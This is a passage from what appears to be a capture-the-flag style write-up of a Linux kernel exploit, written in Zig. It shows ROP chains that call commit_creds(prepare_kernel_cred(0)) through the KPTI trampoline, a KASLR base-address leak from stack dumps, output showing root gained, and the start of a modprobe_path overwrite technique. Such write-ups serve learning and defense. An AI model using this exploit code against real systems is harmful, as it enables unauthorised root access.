</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> POP_RAX<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81004d11</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> POP_RBX<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff810075d0</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> POP_RDX<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81007616</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> PUSH_RAX<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81006123</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> MOV_EAX_ADDROF_RAX_PLUS_16_POP_RBP<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81004aae</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> ADD_RAX_RDI<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81012551</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> ADD_EAX_EDI<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81012552</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> KPTI_TRAMPOLINE<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81200f26</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> KSYMTAB_PREPARE_KERNEL_CRED<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81f8d4fc</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> KSYMTAB_COMMIT_CREDS<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81f87d90</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">ropchain1</span>(writer<span style="color:#00d3d0">:</span> anytype, fd<span style="color:#00d3d0">:</span> std.posix.fd_t, canary<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeAll</span>(std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>[_]<span style="color:#6ae4b9">u64</span>{
</span></span><span style="display:flex;"><span>        POP_RAX,
</span></span><span style="display:flex;"><span>        KSYMTAB_PREPARE_KERNEL_CRED<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>,
</span></span><span style="display:flex;"><span>        MOV_EAX_ADDROF_RAX_PLUS_16_POP_RBP,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        POP_RDI,
</span></span><span style="display:flex;"><span>        KSYMTAB_PREPARE_KERNEL_CRED,
</span></span><span style="display:flex;"><span>        ADD_EAX_EDI,
</span></span><span style="display:flex;"><span>        POP_RDI,
</span></span><span style="display:flex;"><span>        (KSYMTAB_PREPARE_KERNEL_CRED <span style="color:#00d3d0">&gt;&gt;</span> <span style="color:#00bcff">32</span>) <span style="color:#00d3d0">&lt;&lt;</span> <span style="color:#00bcff">32</span>,
</span></span><span style="display:flex;"><span>        ADD_RAX_RDI,
</span></span><span style="display:flex;"><span>        POP_RDI,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        PUSH_RAX,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        POP_RBX,
</span></span><span style="display:flex;"><span>        <span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">u64</span>, <span style="color:#f78fe7">@intCast</span>(fd)),
</span></span><span style="display:flex;"><span>        POP_RDX,
</span></span><span style="display:flex;"><span>        canary,
</span></span><span style="display:flex;"><span>        KPTI_TRAMPOLINE,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#00d3d0">&amp;</span>ret2ROP),
</span></span><span style="display:flex;"><span>        user_cs,
</span></span><span style="display:flex;"><span>        user_rflags,
</span></span><span style="display:flex;"><span>        user_rsp,
</span></span><span style="display:flex;"><span>        user_ss,
</span></span><span style="display:flex;"><span>    }));
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">ret2ROP</span>() <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> creds<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">asm</span> <span style="color:#b6a0ff">volatile</span>(<span style="color:#79a8ff">&#34;&#34;</span> <span style="color:#00d3d0">:</span> [ret] <span style="color:#79a8ff">&#34;={rax}&#34;</span> (<span style="color:#00d3d0">-&gt;</span> <span style="color:#6ae4b9">u64</span>));
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> fd<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">asm</span> <span style="color:#b6a0ff">volatile</span>(<span style="color:#79a8ff">&#34;&#34;</span> <span style="color:#00d3d0">:</span> [fd] <span style="color:#79a8ff">&#34;={rbx}&#34;</span> (<span style="color:#00d3d0">-&gt;</span> <span style="color:#6ae4b9">u64</span>));
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> canary<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">asm</span> <span style="color:#b6a0ff">volatile</span>(<span style="color:#79a8ff">&#34;&#34;</span> <span style="color:#00d3d0">:</span> [canary] <span style="color:#79a8ff">&#34;={rdx}&#34;</span> (<span style="color:#00d3d0">-&gt;</span> <span style="color:#6ae4b9">u64</span>));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">runROPChain</span>(<span style="color:#f78fe7">@as</span>(std.posix.fd_t, <span style="color:#f78fe7">@intCast</span>(fd)), canary, creds) <span style="color:#b6a0ff">catch</span> <span style="color:#b6a0ff">unreachable</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">unreachable</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">ropchain2</span>(writer<span style="color:#00d3d0">:</span> anytype, creds_addr<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeAll</span>(std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>[_]<span style="color:#6ae4b9">u64</span>{
</span></span><span style="display:flex;"><span>        POP_RAX,
</span></span><span style="display:flex;"><span>        KSYMTAB_COMMIT_CREDS<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>,
</span></span><span style="display:flex;"><span>        MOV_EAX_ADDROF_RAX_PLUS_16_POP_RBP,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        POP_RDI,
</span></span><span style="display:flex;"><span>        KSYMTAB_COMMIT_CREDS,
</span></span><span style="display:flex;"><span>        ADD_EAX_EDI,
</span></span><span style="display:flex;"><span>        POP_RDI,
</span></span><span style="display:flex;"><span>        (KSYMTAB_COMMIT_CREDS <span style="color:#00d3d0">&gt;&gt;</span> <span style="color:#00bcff">32</span>) <span style="color:#00d3d0">&lt;&lt;</span> <span style="color:#00bcff">32</span>,
</span></span><span style="display:flex;"><span>        ADD_RAX_RDI,
</span></span><span style="display:flex;"><span>        POP_RDI,
</span></span><span style="display:flex;"><span>        creds_addr,
</span></span><span style="display:flex;"><span>        PUSH_RAX,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        KPTI_TRAMPOLINE,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#00d3d0">&amp;</span>ret2win),
</span></span><span style="display:flex;"><span>        user_cs,
</span></span><span style="display:flex;"><span>        user_rflags,
</span></span><span style="display:flex;"><span>        user_rsp,
</span></span><span style="display:flex;"><span>        user_ss,
</span></span><span style="display:flex;"><span>    }));
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> ROPChain <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">union</span>(<span style="color:#b6a0ff">enum</span>) {
</span></span><span style="display:flex;"><span>    canary<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>,
</span></span><span style="display:flex;"><span>    creds_addr<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>,
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">runROPChain</span>(fd<span style="color:#00d3d0">:</span> std.posix.fd_t, canary<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>, creds_addr<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">?</span><span style="color:#6ae4b9">u64</span>) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> file <span style="color:#00d3d0">=</span> (std.fs.File{ .handle <span style="color:#00d3d0">=</span> fd }).<span style="color:#feacd0">writer</span>();
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> bw <span style="color:#00d3d0">=</span> std.io.<span style="color:#feacd0">bufferedWriter</span>(file);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> writer <span style="color:#00d3d0">=</span> bw.<span style="color:#feacd0">writer</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeByteNTimes</span>(<span style="color:#00bcff">0</span>, tmp_size);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeAll</span>(std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>canary));
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeByteNTimes</span>(<span style="color:#00bcff">0</span>, (<span style="color:#00bcff">8</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">3</span>));
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> (creds_addr) <span style="color:#00d3d0">|</span>caddr<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#feacd0">ropchain2</span>(writer, caddr);
</span></span><span style="display:flex;"><span>    } <span style="color:#b6a0ff">else</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#feacd0">ropchain1</span>(writer, fd, canary);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> bw.<span style="color:#feacd0">flush</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">unreachable</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">adjust_offsets</span>(kaslr_offset<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> gadgets <span style="color:#00d3d0">=</span> <span style="color:#00d3d0">&amp;</span>[_]<span style="color:#00d3d0">*</span><span style="color:#6ae4b9">u64</span>{
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>POP_RDI,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>POP_RAX,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>POP_RBX,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>POP_RDX,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>PUSH_RAX,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>MOV_EAX_ADDROF_RAX_PLUS_16_POP_RBP,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>ADD_RAX_RDI,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>ADD_EAX_EDI,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>KPTI_TRAMPOLINE,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>KSYMTAB_PREPARE_KERNEL_CRED,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>KSYMTAB_COMMIT_CREDS,
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">for</span> (gadgets) <span style="color:#00d3d0">|</span>g<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>        g.<span style="color:#00d3d0">*</span> <span style="color:#00d3d0">+=</span> kaslr_offset;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<p>Now we just need a leak to defeat regular KASLR.</p>
<p><a id="code-snippet--kaslr-leak"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">dumpStack</span>(fd<span style="color:#00d3d0">:</span> std.posix.fd_t) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">350</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> bytes_read <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.posix.<span style="color:#feacd0">read</span>(fd, <span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">dumpHex</span>(buf[<span style="color:#00bcff">0</span>..bytes_read]);
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<p>Let&rsquo;s compare the output of <kbd>dumpStack</kbd> before and after a reboot to see what remains the same:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Diff</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#e7e9db;background-color:#2f1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span><span style="color:#5bc4bf;font-weight:bold">1,22c1,22
</span></span></span><span style="display:flex;"><span><span style="color:#5bc4bf;font-weight:bold"></span><span style="color:#ef6155">&lt; 00007ffccba8e082  20 10 60 87 D3 8C FF FF  E0 0F 00 00 00 00 00 00   .`.............
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e092  00 7D 35 B9 68 99 63 84  10 D6 CA 86 D3 8C FF FF  .}5.h.c.........
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e0a2  68 FE 1B 80 1A B9 FF FF  04 00 00 00 00 00 00 00  h...............
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e0b2  00 D6 CA 86 D3 8C FF FF  F0 FE 1B 80 1A B9 FF FF  ................
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e0c2  00 D6 CA 86 D3 8C FF FF  80 FE 1B 80 1A B9 FF FF  ................
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e0d2  D7 7B E8 A3 FF FF FF FF  D7 7B E8 A3 FF FF FF FF  .{.......{......
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e0e2  00 D6 CA 86 D3 8C FF FF  00 00 00 00 00 00 00 00  ................
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e0f2  82 E0 A8 CB FC 7F 00 00  A0 FE 1B 80 1A B9 FF FF  ................
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e102  00 7D 35 B9 68 99 63 84  5E 01 00 00 00 00 00 00  .}5.h.c.^.......
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e112  00 00 00 00 00 00 00 00  D8 FE 1B 80 1A B9 FF FF  ................
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e122  2F 28 09 A4 FF FF FF FF  00 D6 CA 86 D3 8C FF FF  /(␉.............
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e132  00 D6 CA 86 D3 8C FF FF  82 E0 A8 CB FC 7F 00 00  ................
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e142  5E 01 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ^...............
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e152  20 FF 1B 80 1A B9 FF FF  A7 22 1A A4 FF FF FF FF   ........&#34;......
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e162  F1 11 23 A4 FF FF FF FF  00 00 00 00 00 00 00 00  ..#.............
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e172  00 7D 35 B9 68 99 63 84  58 FF 1B 80 1A B9 FF FF  .}5.h.c.X.......
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e182  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e192  00 00 00 00 00 00 00 00  30 FF 1B 80 1A B9 FF FF  ........0.......
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e1a2  DA 19 2E A4 FF FF FF FF  48 FF 1B 80 1A B9 FF FF  ........H.......
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e1b2  57 A1 A0 A3 FF FF FF FF  00 00 00 00 00 00 00 00  W...............
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e1c2  00 00 00 00 00 00 00 00  8C 00 C0 A3 FF FF FF FF  ................
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e1d2  00 00 00 00 00 00 00 00  00 00 00 00 00 00        ..............
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155"></span><span style="font-weight:bold">---
</span></span></span><span style="display:flex;"><span><span style="font-weight:bold"></span><span style="color:#48b685">&gt; 00007ffcef2175d2  20 20 60 47 F0 90 FF FF  E0 0F 00 00 00 00 00 00    `G............
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef2175e2  00 0E 76 FC EA 35 42 B0  10 DC CA 46 F0 90 FF FF  ..v..5B....F....
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef2175f2  68 7E 1C C0 28 A9 FF FF  04 00 00 00 00 00 00 00  h~..(...........
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef217602  00 DC CA 46 F0 90 FF FF  F0 7E 1C C0 28 A9 FF FF  ...F.....~..(...
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef217612  00 DC CA 46 F0 90 FF FF  80 7E 1C C0 28 A9 FF FF  ...F.....~..(...
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef217622  97 45 2E B3 FF FF FF FF  97 45 2E B3 FF FF FF FF  .E.......E......
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef217632  00 DC CA 46 F0 90 FF FF  00 00 00 00 00 00 00 00  ...F............
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef217642  D2 75 21 EF FC 7F 00 00  A0 7E 1C C0 28 A9 FF FF  .u!......~..(...
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef217652  00 0E 76 FC EA 35 42 B0  5E 01 00 00 00 00 00 00  ..v..5B.^.......
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef217662  00 00 00 00 00 00 00 00  D8 7E 1C C0 28 A9 FF FF  .........~..(...
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef217672  AF E5 28 B3 FF FF FF FF  00 DC CA 46 F0 90 FF FF  ..(........F....
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef217682  00 DC CA 46 F0 90 FF FF  D2 75 21 EF FC 7F 00 00  ...F.....u!.....
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef217692  5E 01 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ^...............
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef2176a2  20 7F 1C C0 28 A9 FF FF  C7 2E 70 B3 FF FF FF FF   ...(.....p.....
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef2176b2  B1 59 70 B3 FF FF FF FF  00 00 00 00 00 00 00 00  .Yp.............
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef2176c2  00 0E 76 FC EA 35 42 B0  58 7F 1C C0 28 A9 FF FF  ..v..5B.X...(...
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef2176d2  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef2176e2  00 00 00 00 00 00 00 00  30 7F 1C C0 28 A9 FF FF  ........0...(...
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef2176f2  3A 14 4C B3 FF FF FF FF  48 7F 1C C0 28 A9 FF FF  :.L.....H...(...
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef217702  57 A1 C0 B2 FF FF FF FF  00 00 00 00 00 00 00 00  W...............
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef217712  00 00 00 00 00 00 00 00  8C 00 E0 B2 FF FF FF FF  ................
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef217722  00 00 00 00 00 00 00 00  00 00 00 00 00 00        ..............
</span></span></span></code></pre></div>
</details>

<p>Notice the values <kbd>buf[304..304+8]</kbd> and <kbd>buf[328..328+8]</kbd>: across the different runs only the 4th least significant byte differs.
Furthermore, this byte is the same for both values in a single run, so it&rsquo;s very likely that these values are a constant offset from the kernel base.
As it turns out, masking out the lower 2 bytes of <kbd>buf[304..304+8]</kbd> yields the kernel base address (source: trust me bro)!</p>
<p><a id="code-snippet--kaslr-baseaddr"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">leakBaseAddress</span>(fd<span style="color:#00d3d0">:</span> std.posix.fd_t) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">u64</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">304</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">8</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.posix.<span style="color:#feacd0">read</span>(fd, <span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> ret <span style="color:#00d3d0">=</span> std.mem.<span style="color:#feacd0">bytesAsValue</span>(<span style="color:#6ae4b9">u64</span>, buf[<span style="color:#00bcff">304</span>..]).<span style="color:#00d3d0">*</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> (ret <span style="color:#00d3d0">&gt;&gt;</span> <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">&lt;&lt;</span> <span style="color:#00bcff">16</span>;
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<p>We just need to call <kbd>adjust_offsets</kbd> with our kernel base address leak, and bob&rsquo;s our uncle.</p>





  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>whoami: unknown uid 1000
</span></span><span style="display:flex;"><span>[INFO] Saved state
</span></span><span style="display:flex;"><span>[INFO] Canary: 0x6071ec017b6ac500
</span></span><span style="display:flex;"><span>[INFO] Kernel base: 0xffffffffa4200000
</span></span><span style="display:flex;"><span>[INFO] You won!!
</span></span><span style="display:flex;"><span>whoami: unknown uid 0</span></span></code></pre></div>

<h4 id="alternate-solve-modprobe-path">Alternate solve: <kbd>modprobe_path</kbd></h4>
<p>This is not an alternative bypass to KASLR, but rather a different attack vector to indirectly achieve priviledge escalation without putzing with <kbd>commit_creds(prepare_kernel_cred(0))</kbd>.</p>
<p>Basically, when <kbd>execve</kbd>&lsquo;ing a binary with magic bytes the kernel doesn&rsquo;t recognize, eventually the following will get called:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#00d3d0">$modprobe_path</span> -q -- binfmt-<span style="color:#00d3d0">$MAGIC</span></span></span></code></pre></div>
</details>

<p>Where <code>$modprobe_path</code> is the string stored in the <code>modprobe_path</code> kernel symbol, and <code>$MAGIC</code> is whatever the magic bytes of the file are.
So if we overwrite <code>modprobe_path</code>, we can get the kernel to execute a file we control.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cat /proc/kallsyms | grep -e <span style="color:#79a8ff">&#39;modprobe_path&#39;</span></span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ffffffff82061820 D modprobe_path</span></span></code></pre></div>






  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ropr --range<span style="color:#00d3d0">=</span>0xffffffff81000000-0xffffffff81400dc6 -R <span style="color:#79a8ff">&#39;^(pop rdi;|pop rax;|mov \[rdi+.{3,5}\], ...;) ret;&#39;</span> vmlinux</span></span></code></pre></div>
</details>






  
  
    

  
  
    









